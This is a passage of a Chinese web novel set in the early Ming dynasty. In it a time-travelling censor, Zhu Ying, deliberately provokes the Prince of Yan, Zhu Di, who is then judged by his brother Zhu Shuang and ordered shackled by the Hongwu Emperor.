从说书先生口中听到徐庶和诸葛亮,一场赤壁大火烧的八十万曹军丢盔弃甲,彻底震撼了少年的杨钰,自那之后他就做出了个决定——弃武从文! 真正想要改变天下,还是得靠文人,打打杀杀没有前途,还是得用脑子,关键是,运筹帷幄之中,决胜千里之外,简直太帅了! 杨钰虽然天资不错,可毕竟起步太晚,读书太晚,本届科举名落孙山,不过他并不气馁,决心下届再考,而本届科考则是当成了一个摸底,而摸底的结果也让杨钰颇为满意,自己的成绩距离上榜应该不远,苦读一番下一届,他有很大的信心! 而随着科考结束,朱煐的名声忽然就在考生之间流传开了,殿试那日,百官都在,入了殿试的学子也都在,朱煐的表现当场就震惊了众人,而随之自然也就传遍了京城..... 朱煐的所作所为让杨钰大为叹服,而另一件事则让杨钰更为疯狂,直接让朱煐成了他心中的唯一偶像! 而这件事就是,随着朱煐当上御史,他的过往经历也被大家所挖掘出来,寒门出身,年幼时写书卖稿赚钱...... 这简直就是立志的楷模啊! 而杨钰最在乎的却是另一个消息——随着有关朱煐的消息越来越多,一则消息偶然间被杨顺所知——这朝中的狂生朱煐,居然是写出那荡气回肠的三国演义的作者! 而写三国演义的时候,朱煐刚九岁、十岁! 杨钰听闻此事之后,虽然没有见过朱煐,心中却早已对朱煐升起了敬慕之心..... 今天因缘际会,机缘巧合,总算是让杨钰撞上了朱煐,他也是万万没有想到会在此情此景下遇到自己的敬慕之人,杨钰十分激动,这也就是为什么他如此激动,如此亢奋的原因所在。 而这一切,都默默地埋藏在杨钰的心里,未曾与人言说..... ..... “还请王爷秉公审理此案!还我大明朗朗乾坤!” 杨钰走到朱樉面前,不卑不亢地说道。 朱樉微微一笑。 “这是自然。” 若是在以前,有人当着他的面这般态度说话,别管是说的什么事儿,不管三七二十一,先打一顿再说。 可眼下,今时不同往日,朱樉近几日一直在听从劝谏,修身养性,改善自己,尤其是对人对物上,这日后咱可就是大明贤王,这大明贤王总不能随心所欲乱出手吧?得有格调,得有逼格才对! 于是朱樉就努力让自己往着心中自认为的贤王的方向去改变...... 要不怎么说大家要相信相信的力量呢?一个人但凡是相信了一件事,那他的潜意识和一切的行为举止都会向着那一件事下意识地去做,就如眼下的朱樉一般..... “既然如此,本王现在就听听双方言说。” “朱御史,此前究竟发生了何事?你先说。” 朱樉直接进入正题看向朱煐..... 朱煐拱了拱手:“启禀王爷,燕王他当街纵马扰民,下官与方大人,张大人一同前去吃酒,在朱雀大街上恰好遇上了此事,下官以为,燕王如此不妥便将其拦下,此时有违大明律例,按照大明律例,燕王该在应天府关押几日,以视惩戒。” 和后世一样,这大明也分刑事案件和行政案件,行政案件就是日常的争端琐事,这类型的案件一般是由应天府府衙直接审理断案,而这样的案件关押的事件一般也不会太长,和后世的治安管理差不多。 而后世的刑事案件在大明则属于刑部管辖,这类的罪就是重罪了,朱煐殿试上嘲讽百官,指着老朱的鼻子一顿臭骂,这就属于犯了大罪,直接入的就是刑部大牢,而这也是为什么朱煐当时大喜的原因所在。 这进了刑部大牢,十个里面有八个得死,这不就妥了吗? 谁能想到这后面频生变故,这一来二去的,反倒是错过了时机...... 朱樉问完朱煐后看向朱棣..... “老四,朱御史所言可有错漏?你二哥我可是要秉公断案,你说说究竟发生了什么事,有什么话就早点说吧,免得之后说为兄不给你机会。” 朱樉看着朱棣,眼神不善。 这老四,这在京城还这般嚣张,当街纵马扰民?这父皇还没死就如此,这父皇死了还了得? 日后咱大侄子上位,老四这狗东西必反!本贤王得想个法子才行..... 听着朱樉的喝问,朱棣的脸色一黑。 他什么时候受过这鸟气? 可这会儿周遭的百姓全在围观,这要是一个不好,还不知道这日后传会怎么传呢...... 朱棣也怕百姓越传越离谱,索性干脆冲着朱樉拱了拱手:“二哥我....” “大胆!” 朱棣刚开口就被朱樉给忽然打断。这突然的爆发引得朱棣也是一脸懵逼不明所以..... “本王如今是在断案,这众目睽睽之下,本王绝不徇私枉法,岂容你攀亲附会?本王审案时请称呼本王的职务,叫王爷!或者秦王!” 朱樉厉声道。 原本懵逼的朱棣脸色唰的一下就彻底黑了.....他的脸色难看到了极致..... 你大爷的朱老二,老子记住你了! 朱棣心里暗戳戳地气炸了.... 周遭的百姓中,老朱也是忍俊不禁地笑了.... 他冲着旁边的蒋瓛,指着朱樉方向道:“咱还真没看出来,这老二还挺有官瘾的啊!” “毕竟王爷他想当贤王么,这断案倒是不必担心断不明白了。”蒋瓛笑着应道,老朱也是点点头显然对蒋瓛的话颇为认可.... 场中的朱棣脸色黑到了极致,咬牙切齿地看着朱樉:“好!秦王,眼下本王能说了吧?” “行,你说吧。” 看着朱棣吃瘪,朱樉心中暗笑,他却也不敢笑出声来,憋着听朱棣开口...... “本王敢作敢当,这当街纵马确有其事,可.....” “啪!” 忽的朱樉一拍手,顿时打断了话刚说一半的朱棣.... 朱棣疑惑地抬头,朱樉却是拍了拍手:“不必再说了。” “既然老四你自己招了这当街纵马之事,那就无需再审了,本王宣布,此案朱御史胜!” “来啊,将燕王带到应天府府衙大牢关上几日,也算是长个教训,长兄如父,本王得好好管教管教老四!当街纵马扰民,他可好大的胆子啊!” 朱樉此言一出,顿时全场一片寂静..... 所有人都彻底安静了下来,全场一片死寂.... 朱棣:“????” 姚广孝:“????” 朱棣一众心腹眼睛猛地瞪大,一脸的问号...... 不是,这案子断得也太草率了吧? 一句话就把案子给断了? 朱棣和他的心腹看向朱樉,正好看到了朱樉断完案子之后的窃喜与大笑,顿时人麻了..... 不是,这亲兄弟的,什么仇什么怨啊.... 一时间,朱棣人麻了..... 而事实上没有反应过来的不光是朱棣本人,所有百姓都是一愣,他们更没有想到,朱樉断案,他娘的居然会是这么断..... 这倒是....好草率的样子...可又好像说的没毛病啊,这燕王自己都认罪说纵马确有其事了,这还有什么好审的?本来也就不是什么重案大案,也就是委屈燕王一阵..... 人群中的老朱和蒋瓛也是全都一愣,不够老朱很快就缓过神来,缓过神来之后的老朱却是乐了..... “哈哈哈哈,这老二,白活了这么多年,总算是给咱活出个人样儿了啊!” 第50章 老朱:该轮到咱登场了! “二哥,你要关我?” 朱棣瞪大了眼睛看着此刻的朱樉,他不敢相信。 虽说兄弟之间相互有各自的算计,相互看不对眼,可眼下这么多百姓看着,这在外人面前,总不至于做的太过分才是,总该给兄弟留点面子才对,可......这他娘的是什么情况? 朱棣不理解,以堂堂永乐大帝的智慧也想不通此刻朱樉心中的想法,只好瞪大个眼睛看着朱樉,眼中满是问询与不可思议..... “老四,这会儿叫上哥了?抱歉,我大明既有律法那就该依律法行事,本王也是秉公处理,你既然承认了自己当街纵马,那就委屈在这应天府府衙待上一段时日吧,这也是你应得的。” 说完朱樉压根也不看朱棣那不可置信的眼神与黑的不能再黑的脸色,转过身对着周遭的百姓笑道:“诸位,本王可是秉公处理了,若是大家还有什么意见的话可以现在直接提出来,本王会慎重考虑,趁着燕王尚未入狱,要加些罪责的话,还是能加的。” 朱樉笑呵呵地说道,而这话被周遭的百姓听了却是面面相觑.... 不是,这不是在做梦吧? 这秦王殿下,什么时候成了为我等屁民伸张正义的王爷了? 这和蔼可亲的态度,这也不像是传闻中的那个脾气差,动不动就动手殴打他人的秦王殿下啊! 朱樉没有解释,可百姓的智慧是无穷的,很快大家就在脑海里脑补出了原因所在。 所谓耳听为虚眼见为实,这耳朵听到的,终究不如亲眼所见,而眼下,亲眼所见,秦王殿下他就是如此和蔼可亲,为民做主,那么传闻显然就是有误,这是有人污蔑秦王! 这一直以来秦王都在被造谣啊! “王爷仁义!我等并无异议!” 杨钰站了出来,朱樉在杨钰心中的形象也是大为改观,一个大公无私的王爷! 就连杨钰都全然没有想到由朱樉审理此案,结果居然会是这样,眼下这个结果,当真可以说是大义灭亲了! 真要将堂堂燕王入狱?这杨顺杨府尹还真没有这个资格,也不敢!而秦王却做了,并没有因为燕王是自己的老弟而包庇,这是何等的公正?至少朱樉的这一番操作,杨钰自认是服了。 ...... 而看着此情此景,朱棣整个人却是都不好了..... 他从朱樉审判的结果的震惊中缓过神来之后,朱棣整个人的脸色就极为难看..... 听着朱樉说的话之后,朱棣的脸色就更难看了.... 合着我成翻盘了?你成正义之士了? 还趁着我没入狱,还能再加刑罚? 有这么干亲兄弟的吗? 不就是暗地里偷偷算计了你几次,让你吃了点小亏吗?这至于吗? “王爷?” 黑衣和尚姚广孝凑到朱棣身边,小声道:“眼下我等该如何?” 朱棣看了眼姚广孝,翻了个白眼。 他娘的,你是谋士还是老子是谋士?你问我? “你觉得本王该如何破局?” 朱棣直接把问题给甩了出来,姚广孝不由一愣,旋即皱起了眉头...... 沉吟片刻后姚广孝方才道:“看眼下这个情况,王爷要想免于责罚,那就得将此事先通知陛下了,我大明王爷入狱,这传出去有损皇室名声,想来陛下也会因此插手的,至少能免去王爷的牢狱之灾。” 朱棣闻言频频点头:“有理。” “这案子是秦王断的,想推翻他的案子,那非陛下不可!” “可现在却有些棘手,万一他们现在就直接将本王关了起来,那本王还如何找父皇?” 朱棣蹙眉.... “王爷,这个简单,我等护您,难不成他们还敢对王爷动粗不成?” “拖延些时间,只要陛下知道了此事王爷再主动认错,或许连先前之事也能一笔带过....” 姚广孝说的不错,人的注意力往往都会下意识转移,从一件事情上自然而然转移到另一件事情上,最终的最后一件事情往往会吸引最大的注意力,而自然而然先前犯的事也就显得没有那么显眼了..... 朱棣会意,点了点头.... ...... “好,既然大家没有不服,那就将燕王压入应天府大牢坐上几日吧。” 朱樉话音刚落.... “本王不服!” 朱棣当即站了出来.... 瞬间所有人的目光全都集中到了朱棣的身上.... “老二,你想针对本王你便直说,不必拐弯抹角的,我看此事还是等父皇来了直接交由父皇处理,你处事不公,本王不服!” 朱棣冷冷地扫了朱樉一眼。 “嘿!我就不信了,老子还治不了你了!” 朱樉被朱棣这么一个眼神直接激怒,所谓江山易改本性难移,这几日朱樉压抑自己的脾气,想要当个不轻易与人动手的贤王,可不代表他就没有脾气,这脾气上来了,第一反应就是撸袖子。 朱樉袖子一撸,朱棣也立刻做出了防备的姿态,朱棣身边的心腹也纷纷警惕起来,一个个如临大敌..... 朱棣和他的心腹们太了解朱樉的脾气了,要说其他人,这大庭广众,光天化日之下不一定会动手,可这朱樉.....这丫的脑子就是一根筋,这么些年接触下来大家早就已经了解了,这厮要动手,那是真会动手啊! 朱棣倒是也颇有勇力,可他更擅长的还是排兵布阵,这冲锋陷阵,单挑....还真干不过朱樉....从小到大都干不过,小时候干不过,这长大了也干不过..... 这场面突然的反转顿时让周遭百姓失声,所有人尽皆愕然.... 而身为应天府府尹的杨顺唰的一下冷汗瞬间布满了额头..... 他赶忙站到中间挡住了双方,无论是朱樉还是朱棣,那都不是他能惹得起的,这要是让人知道了这二位爷在这应天府府衙大门口大打出手,那自己算是彻底完蛋了.... “秦王殿下,冷静啊!” “燕王殿下,什么事情都能商量您说是不?” “商量什么?本王都要被下大狱了,还商量?今日之事情本王会呈禀父皇,让父皇裁定,老二,你想抓本王?你还不配!” 朱棣也不是个好脾气,眼下既然已经打定主意撕破脸皮,朱棣言语间自然也充满了煞气。 “好好好!” “好你个老四!” “你个浓眉大眼的混蛋,老子早就看出来你小子不是什么好东西!想造反就直说,别整这些弯弯绕绕的,有本王在,你休想造反!” “别以为大哥去世你就能入京争抢储君之位了,那位置是大哥儿子的,你靠边站!” “有本王在一天,就容不得你如此嚣张!” 朱樉厉声呵斥,此刻的他感觉自己就像是在为国而言,与有荣焉,身上背负着身为大明贤王的沉甸甸的责任感! “????” “????” 朱樉一开口,朱棣脸色刷的骤变。 旋即他的脸色就阴沉到了极点。 他娘的,这没脑子的朱老二! “你血口喷人!本王何时要造反了?今日你要说不清楚,休怪本王不念兄弟之情!” 朱棣瞬间跳脚。 这造反的帽子要是戴上了,想到老朱的手段,朱棣不寒而栗,不由自主地打了个哆嗦....这可比什么当街纵马严重太多太多了,朱樉这丫的是想搞死自己啊! “本王行事,何须与你解释?我反正看你就像是想造反的,如此嚣张跋扈,当真以为这天底下没人能管得了你了?你就等着和父皇解释吧。” “你....” 朱棣脸色涨红。 这回是当真秀才遇上兵有理说不清了,朱棣气急,憋得他满脸通红,险些一口老血喷出来。 这朱老二不当人啊! 这他娘的你听听这说的是人话吗? 什么叫做看我就像是造反的? 老子是嚣张,是跋扈了一点,可嚣张跋扈这词,怎么也轮不到你朱老二来点评吧?你不必我更嚣张?更跋扈? 还他妈的你行事无需与我解释,你他娘的不讲武德污蔑老子造反,还不用解释? 这简直就是比地痞无赖还地痞无赖啊! 朱棣顿时就吃了有文化的亏,气势上瞬间就弱了数筹..... 饶是和朱樉从小到大一起长大朱棣已经非常习惯,可这么些年不见,朱棣却发现,这厮更加不要脸了,这乍地来一下,还当真不适应..... ...... 一时间,场上的局面就陷入了僵持..... 要换成以往,朱樉早就单枪匹马杀上去了,可今时不同往日,他终究还是成长了,为了成为大明贤王,他克制住了想要动手讲道理的冲动,目前为止还只是处于动嘴皮子的范围.... 而朱棣则是和他的心腹们如临大敌,同朱樉对峙,生怕朱樉一个怒气上升就当真动手..... 反倒是原本作为此事的中心人物,朱煐、张平和方孝孺三人在一旁看起了戏,这好像...和自己等人关系不大了? 朱煐望着场内对峙的朱樉和朱棣,心中大喜,暗戳戳地给了自己一个赞,朱樉这步暗棋终于在关键时刻起到作用了! 早在朱棣尚未入京之前朱煐就将朱樉进一步挑拨策反,眼下朱樉已然将朱棣认为了最大的对手,阻碍大明未来和发展的头号问题人员。 朱煐看着此刻一脸紧张同朱樉对峙的朱棣,看着日后堂堂的永乐大帝这会儿却是满头大汗,脸色甚至都还有些苍白,心中不由更喜,今儿个这么一出,指定是让这位日后的永乐大帝记忆深刻了! 这玩意老朱手下没死成,备选方案朱允炆失效,那等熬到了朱棣掌权,就今天看朱棣的这脾气来说,那想找个理由去完成任务,那想必是绝对不难...... ....... 朱煐正美滋滋地畅想着未来,想着今天得罪朱棣的操作圆满完成,与此同时的百姓,大部分已经屏息凝神,甚至动都不敢动一下...... 这应天府,皇城中的天子脚下的百姓往往是最有眼力见了,这会儿大家也都意识到了情况逐渐演变得越来越严重,情况越来越不对了,一个个当即都不吭声了,生怕一个不慎受到牵连...... 而这百姓中唯独有两人,此刻不光没有一丝一毫的害怕,反而还饶有兴致地看着朱樉和朱棣之间针锋相对..... “啧啧啧,不愧是咱大孙啊,这一手制衡玩得像咱,手段高明,果然是咱老朱家的子孙,这风范,像咱当年的样子!” “这为君之道,最重要的就是这制衡之道,这小子这一手倒是玩的很是不错..... “老爷,这会儿怕不是夸殿下的时候吧?臣看这秦王殿下与燕王殿下怕是当真要打起来了,您看这.....” 蒋瓛看着场上的局面越来越紧张忍不住开口.....这当街要是燕王和秦王当真干了起来,那可就成了百姓的笑话了..... “这有什么的?有咱在,还怕这群兔崽子翻了天不成?” “好了,随咱出去吧,咱也是时候出来了,老四那臭小子不是想让咱审吗?咱给如他所愿!” 说着老朱往前一步,就准备挤过人群进去,结果这么一挤,前面的人纹丝不动,老朱被这一挤的反作用力给反弹了个踉跄..... “陛下在此,还不让开?” 就在此时,蒋瓛灵机一动高声喊道。 瞬间,所有人的目光刷刷刷地看向了老朱所在的方向.....全都落到了老朱的身上.... 应天府府衙门口,正在对峙的朱樉和朱棣忽地听到了一道声音,当场就是一愣..... 这声音.... 这声音两人都实在太熟太熟悉了..... “不.....不会吧?” 朱棣顿时苦了个脸,笑的比哭还难看,僵硬地转动脖子扭头看向了人群..... 他一眼就看到了已经被百姓让开道路的老朱和蒋瓛.... 朱棣唰的一下脸色变得通红,瞬间红温。 不是,这怎么这事儿都这么赶巧了吗? 父皇居然在现场? 想到自己的言语,朱棣只感觉到了三个字——完蛋了! 而相较于朱棣的慌乱,朱樉却是十分淡定,看到老朱现身,顿时一喜。 父皇居然就在人群之中? 这是什么意思? 难道是在考察本王当贤王的潜力? 朱樉越想越是觉得自己的猜测有道理,顿时不惊反喜,因为他自认为今天的行为,无可挑剔,自己今天干的这些事儿,那就是身为一个大明贤王应该干的! 父皇.....他一定会很欣慰吧? 朱樉不由往老朱的方向看去..... 不过这他想象中欣慰的表情并没有在老朱的脸上看到,老朱的脸上看到的是愠怒! 朱樉先是一愣,很快就从别人身上找到了原因。 “这该死的老四,父皇都忘了对本王的欣慰,惹得父皇如此愤怒!” 朱樉自认已经做到了一个贤王该做的一切,自己今天的行为举止无懈可击! 既然这行为举止无懈可击,那自然,惹怒父皇的那自然是朱老四这个不长眼的浑蛋了! 第51章 来啊,给燕王戴上镣铐! “好!都干的很好啊!” 老朱一步一步走过人群,在百姓愕然震惊的目光中走到了朱棣和朱樉的面前..... 老朱看向朱棣,又看了看朱樉,脸上满是愠怒..... “一个咱大明的燕王,一个咱大明的秦王,老二,老四,你们可是给了咱一个大大的惊喜啊!” 朱棣脸色唰的一下变得煞白。 他万万没想到老朱会在这种时候出现在这里,而且看情况,貌似....一直就在人群中? 朱棣心中暗暗叫苦,这岂不就意味着,方才自己所说的一切全都被老爷子给听了个清清楚楚? 而相较于朱棣的心虚叫苦,老朱的话听在朱樉的耳中却又全然是另一种意思.... 听了老朱的话,朱樉心中顿时大爽! 父皇他....终于认可我了! 我给了父皇一个惊喜,父皇还夸我干得不错! 父爱为之深远,默然无声,父皇从小到大夸人的次数屈指可数,而这一次,竟夸了我!这其中意味相当之深远!看来父皇是真的对我看重,想让我当这大明贤王! 也是,今日本王若是不在,老四如此嚣张都无人敢治,可见本王重要性! 当即朱樉冲着老朱笑了笑,弯下腰赶忙上前搀扶住了老朱。 要是以前,这样舔狗样式的动作根本也不会出现在朱樉的身上,可今时不同往日,在感觉到自己被从未重视过自己的老爹重视了之后,朱樉已经以贤王的标准逐渐要求起了自己,这父慈子孝,老头子老了,自己做这个儿子的,自然该当主动帮着老爷子排忧解难才是。 这百善....孝为先啊! 这搀扶老头子,纯粹是因为自己‘善’! “父皇夸赞的是,儿臣正是想给父皇一个惊喜,这老四他太不像话了,当街纵马也就罢了,还不服我大明律例,这大明律例是做什么用的?不就是为了治理我大明用的吗?所谓天子犯法与民同罪,今天他敢当街纵马不服律例,明日就敢起兵造反啊父皇!” “本来是想给老四一点教训,让他收敛一些再告知父皇,不让父皇操心,不成想父皇竟然就在此处!” 说着朱樉有些尴尬地挠了挠头。 这做好事被人给撞见,还真是有点不好意思来着..... ...... “?????” 朱棣当场瞪大了眼睛,一脸愕然地看着朱樉。 不是,你丫的说这话? 你是人? 父皇分明就是斥责,合着你给听成了夸赞了? 这好赖话都听不出来? 朱棣身后的心腹们也是一脸古怪地看向朱樉..... 要是不了解朱樉的人,定然会觉得大明秦王不至于如此,如此行径一定是故意为之,可无论是朱棣还是朱棣的心腹们,乃至此刻的老朱,大家都很了解朱樉的为人,所以明白,朱樉说出这番话,或许....当真他心里就是这么想的..... 这才是最让人郁闷的.... 人家说的,是肺腑之言啊! “咳咳...” 老朱听着朱樉的这些话也有些绷不住了,不过转念想到朱樉这个儿子,相较于老四朱棣,脑子显得没有那么好使,好在这也有个好处,他耿直,没有那么多弯弯绕绕的心思,既然他想当这贤王,那自然得鼓励,日后乖孙上位了也好用得上,咱日后去世了,咱大孙总不能一个帮手也没有..... 老朱思虑周全,这贤王朱樉还真合适,他只要有心维护朝廷就好,至于老四朱棣....就算是他想当贤王,老朱心里也得打个问号泛起嘀咕..... 这老二可比老四好多了,至少没有那么多小心思.....耿直啊! “父皇,您怎么了?” 见老朱咳嗽,朱樉一脸紧张。 他原本和老朱的关系并不融洽,父子见面几乎就是冲突,但这并不意味着朱樉不孝,心中没有老朱,而是两人都不擅表达,三言两语就会发生冲突,可实际上老朱对自己的儿子极好,一辈子都给安排的明明白白的,朱樉对于老朱也是十分关心,毕竟这是自己的亲爹啊! 以往的朱樉绝不会如此,可现在他自觉明白了老父亲的良苦用心,这孝心流露出来,自然也就演变成了眼下的这场景..... “老四,你看你给父皇气的,这要是给父皇气出个好歹来,本王要你好看!” 朱樉不等老朱开口,指着朱棣的鼻子就是一顿臭骂。 父皇都咳嗽了!至于这原因,这不是显而易见吗? 自己近来改过自新,不辜负父皇的期待为当大明贤王而努力,父皇对于自己想必也是十分满意,欣慰还来不及呢,这给父皇气得咳嗽,显然就只有一个原因——就是老四这不争气的家伙给父皇气的! “我他妈.....” 朱棣的脸色一阵红一阵青,脸色难看至极..... 他想爆粗口,可却有感觉嘴巴被屎给堵住了一般难以言说.... 这老二,怎么能做到这么不要脸的呢? 这锅全甩给老子了? 看了眼脸色不善的老朱,朱棣缩了缩脑袋,不敢在这个时候再和朱樉发生冲突,毕竟自己的这二哥属实是没有什么脑子,这会儿他身边又空无一人,并无幕僚,这真要是他一上头撸起袖子当着父皇的面给自己来一下,自己是有苦难言啊.... 毕竟相较于自己这二哥而言,这回自己是真不占理,当街纵马不说,这应天府府衙门口争斗还被老头子给看了个正着.... 真要是和这没脑子的二哥起冲突,这就是罪上加罪,罪加一等啊..... 看着老朱不善的脸色,此刻的朱棣心中苦涩,眼下他只剩下了一条路.... 朱棣走到老朱面前,二话不说‘噗通’一声就给跪到了老朱的面前...... “父皇,儿臣知错了,还请父皇责罚!” 在周遭百姓的注视下,堂堂燕王就这么跪了! 不错,这也是朱棣能想到的唯一的办法——直接认错! 这么多年的父子,和老朱了解朱棣一样,朱棣也很了解老朱,自己这老父亲,那就是吃软不吃硬的主儿,只要自己主动认错,姿态放低,那于情于理都不至于再有过多的责罚..... 当街纵马? 毕竟并未造成太过严重的后果,只是造成了一些不好的影响,而现在自己当着这么多人的面,大庭广众之下跪地认错。堂堂王爷跪地认错,这也足以给百姓一个交代,给天下人一个说法了,那悠悠众口也就自然堵住了。 而考虑到自己的儿子这么丢脸,毕竟会唤起父亲心中的那些许的心疼,自己也自然就免于责罚..... 此事免于责罚,自然,那先前未奉诏书的事儿,自然也就过去了..... 可以说,此举是一举多得,唯一一点就是丢脸面。 说实在的,要不是被逼的已经完全没有了办法,朱棣还真不想丢这脸面,宁愿被老朱责罚也不想丢这脸,须知,自己可是燕王,而且是大明开国后的第一代燕王! 今日之事,大概率就会被载入史册,记入后世史料中,流传下去。 若非眼下实在没有了办法,朱棣是万万不想这么做的..... 可形势比人强,眼下不想做也得做了,这跪地求饶已然是最优解.... 朱棣忽然的下跪让在场的人全是一愣..... 堂堂燕王,跪下认错了? 朱煐看着眼前这一幕,眯了眯眼睛,心中大喜。 不愧是日后的永乐大帝! 这跪的就是快啊,大丈夫能屈能伸,这一看就是干大事的! 这历史上的朱棣应该没有被人因为一件事情逼的当这么多人面下跪过吧? 朱煐脑海里回忆,想了半天也没想到有这么一件事儿.....心中更高兴了.... 作为老朱的儿子,作为日后的永乐大帝,作为大明的燕王,朱棣在明史之中一定是留下来除老朱之外最恢弘的一笔,但凡是他身上发生的值得一提的大事,指定是名留青史流传后世了。 既然自己想不起来,那就说明,大概率朱棣没有被人逼到如此窘境过! 而眼下却发生了,这说明什么? 说明了自己让朱棣这位燕王,日后的永乐大帝,有了前所未有的体验,这一次进京,必然是让这位大明燕王有了刻骨铭心的记忆! 这人么,对你好的不一定记住,这得罪你的,你还能记不住吗? 往后的日子,越来越有盼头了。 朱煐心里有了一股子安全感。 事实上自从穿越到大明之后,朱煐一直就没有什么安全感,他的心里是慌乱的,因为穿越大明之后所发生的一系列事情都超出了他原本的预料.... 以往穿越,他都是凭借着脑子里对于历史人物的记忆,很轻松就达成了为‘家国天下’而死的任务,就算是有些不为人知的朝代,比如混乱的五代十国,凭借着正常皇帝的容忍度,成功完成任务。 可这一切,到了大明却好像都变了! 首先就是明史好像出了问题,想来是后世满清修明史的人对这明史中的重要人物进行了艺术加工,老朱的性格被改的乱七八糟,明史里暴躁的老朱在这现实中居然并不暴躁,相反,很耐心,还有点和蔼,气量大的惊人。 这和一个暴君完全扯不上关系么! 想来这很多事情都是以讹传讹。 可这就坏菜了,明史出现错误也就说明自己的倚仗没了,刚开始的时候朱煐还是很有信心的,但凡老朱是个正常的皇帝,那就没有问题,正常皇帝绝对受不了自己时不时的挑衅。 可偏偏,这老朱不正常啊! 这老朱的脾气出奇的好,甚至在他身上,朱煐感受到了久违的李二的感觉..... 在唐贞观那一世的时候,在李二手上当官,那真是生不如死!这货怎么着都不杀自己,硬是熬死了他,才让自己死在李治的手中。 老朱的脾气堪比李二的话,那自己的努力....或许都不能获得什么收获了..... 毕竟自己在李二手下就没有成功.... 不过相较于当年穿越大唐好的一点是,穿越大明的事件比较晚,已经是洪武二十五年,以老朱的身体,他活不了太久了,参照以往的成功经验,这死在后世之君的手中算是一个后手。 于是朱煐坚定地站在了朱允炆的对立面,更是谋划朱棣。 毕竟这朱允炆在位的事件太短,有可能会出现意外。 既然是留下后手,这后手自然是不嫌多的嘛! 由于穿越大明之后的发展一次次超出了朱煐的预料,被迫计划从快速完成任务转成了打持久攻坚战,以一次次的努力去结交更多的敌人,让老朱越来越忌惮,厌恶,由此达到目的。 可这....说不准.... 到底能不能完成任务,朱煐心里也没底,所以他一直没有安全感。 而现在,不同了。 眼下得罪了朱棣,而且还是让他这般记忆深刻,哪怕现在他直接回归封地,往后半辈子想必也不会把自己给忘了。 以朱棣的这小心眼,以及深沉的心思,这日后岂不是轻轻松松? 老朱的性格脾气和明史记载中全然不同,不过这朱棣....以目前接触的情况上来看,好像确实不是个脾气好的家伙而且城府深,记仇,有这么个人在,朱煐感觉肩上的压力骤减,满满的安全感..... ...... 此刻所有人的目光全都落在跪在地上的朱棣身上。 堂堂王爷,当众下跪,这场面,少见的很啊! “燕王这一招以退为进,老大,这纵马的事儿我们怕是不太好追究了。” 一旁的张平皱眉小声冲朱煐说道..... “不追究?那怎么行?” 朱煐眉头一挑。 这眼看取得了朱棣的记恨,正是再接再厉,加深朱棣印象的好时候,怎么能半途而废呢? “可是老大,眼下燕王这以退为进,怕是陛下会心软啊,陛下若是下令的话,我们怎么追究?” “那就连陛下一起谏上。” 朱煐淡淡地说道。 听着张平的话,心中更喜。 好家伙,当真要是发生了这种情况,那真是天助我也了! 这陛下一起谏上,岂不是双管齐下? “啊这...” 饶是张平已经习惯了朱煐的刚正,可依旧也是被这么一句话给震得不轻,当场语塞..... ...... 就在朱煐心里打着自己的小九九的时候..... 老朱的声音悠悠响彻..... “来人啊!既然燕王已经认罪,那还不快给燕王戴上镣铐?” “怎么?难不成还要咱亲自动手吗?” 第52章 朱老四郁闷坏了 “????” 老朱这话一出,顿时所有人全都怔住了.... 朱棣瞪大了眼睛看着老朱,眼中满是不可置信。 “父....父皇,您的意思是....要给给儿臣戴上镣铐?” 朱棣不敢置信,他不敢相信自己的耳朵。 我都已经跪下认错了,只是区区一个纵马京城而已,还要让我带上镣铐? 这不合理啊! 不仅仅是朱棣惊呆,周遭的所有人此刻全都愣住了,呆愣愣地愣在原地看着站在跪在地上朱棣面前的老朱,心中吃惊。 这燕王都已经下跪认错了,陛下还要给燕王带上镣铐? 这是还要处置燕王? 要知道,堂堂王爷当着这大庭广众的面下跪认错,这已经是罕有的事情,这跪了认错之后,还要追责? 周遭的百姓全都愣在了原地..... “怎么?咱说的话听不明白?” “蒋瓛!” “臣在。” 被老朱点到名字的蒋瓛猛地一个哆嗦。 “给燕王戴上镣铐,押入应天府大牢,依大明律该关几天便关几天。” “是。” 别人不敢动朱棣,可蒋瓛是谁啊? 作为锦衣卫都指挥使的蒋瓛唯一直接听命的人就是老朱,管你是王爷公侯,都无法让蒋瓛退却,真要是退却了,那第一时间老朱就不会放过他,蒋瓛也就失去了利用价值,这一点蒋瓛十分清楚明白.... 全场寂静无声.....所有人就这么静静地看着老朱和朱棣,老朱的话让他们久久无法回神,这会儿也还处于愕然懵逼中.... 就在这时候.... “陛下圣明!” 忽的一声响起,吸引了所有人的目光,定睛看去,这熟悉的声音不是朱煐还能是谁? 朱煐笑呵呵地走到老朱面前冲着老朱拱了拱手:“陛下此举可谓做天下之典范,所谓天子犯法与民同罪,何况王爷?燕王今日纵马京城看似小事,可若是执法不严,或为日后留下隐患,恐动摇我大明万世之基!” 朱煐一边说眼睛一边飘向朱棣,正好看到了满脸阴沉面色不善的朱棣,心中更是喜不胜收。 今日算是当真给了朱棣一个刻骨铭心的教训了,想必已经将自己给恨上,只要日后不忘巩固,想来定然能让这位后世的永乐大帝毕生难忘,记在心中! ...... 这凡事啊,就怕没有人带头,这一旦有了带了头,立刻就产生了从众效应..... 原本寂静,被朱棣和老朱之间的言行所惊呆久久没有缓过神来的百姓们在朱煐开口之后也纷纷缓过神来,瞬间场面沸腾! 最先开口的自然就是杨钰,他自幼便读三国,对朱煐更是神往已久,朱煐一开口,他便立刻跟上了。 “陛下此举,大快人心,燕王此番入狱,可名垂千古!” “是啊是啊,王爷看似亏了,实则赚了!” “能遵循我大明律法而入狱的王爷,燕王还是首位!” “......” 杨钰的话夹杂着百姓们的话落入朱棣的耳中,怎么听怎么不是滋味....这特么的怎么听着就这么刺耳呢?这一个个的....这是在嘲讽本王? 朱棣愤懑地看了朱煐一眼。 这一切的一切都因此人所起。 “小子,本王记住你了!” 朱棣的眼中闪过一抹杀意恶狠狠地想着。 朱煐瞬间就感受到了来自朱棣的恶意,低头一看,发现此刻跪在地上的朱棣正恶狠狠地看着自己,霎时间,心中暗爽不已.... 果然,看来是这一系列的努力有效果了,不枉费今天这浪费这么久的功夫! 然而就在这时.... “啪!” 正愤懑难平的朱棣忽然被老朱来了一巴掌,老朱的一巴掌直接拍在了朱棣的后脑勺上。 “不争气的东西!怎么?你还想报复朱御史不成?朱御史一心为国,你小子要敢对朱爱卿有歹意,可别怪咱没警告过你!” 老朱活了大半辈子,朱棣眼中闪过的那一抹狠厉如何能逃过他的眼睛?见朱棣眼神不善,当即就明白了这厮心里想的是什么玩意儿。 还记恨上咱大孙了? 这哪儿成? 于是老朱当机立断一巴掌糊了上去,顺带给朱棣来了个警告。 朱棣被忽然糊了一巴掌整个人都被打的有点懵,愣在原地.... 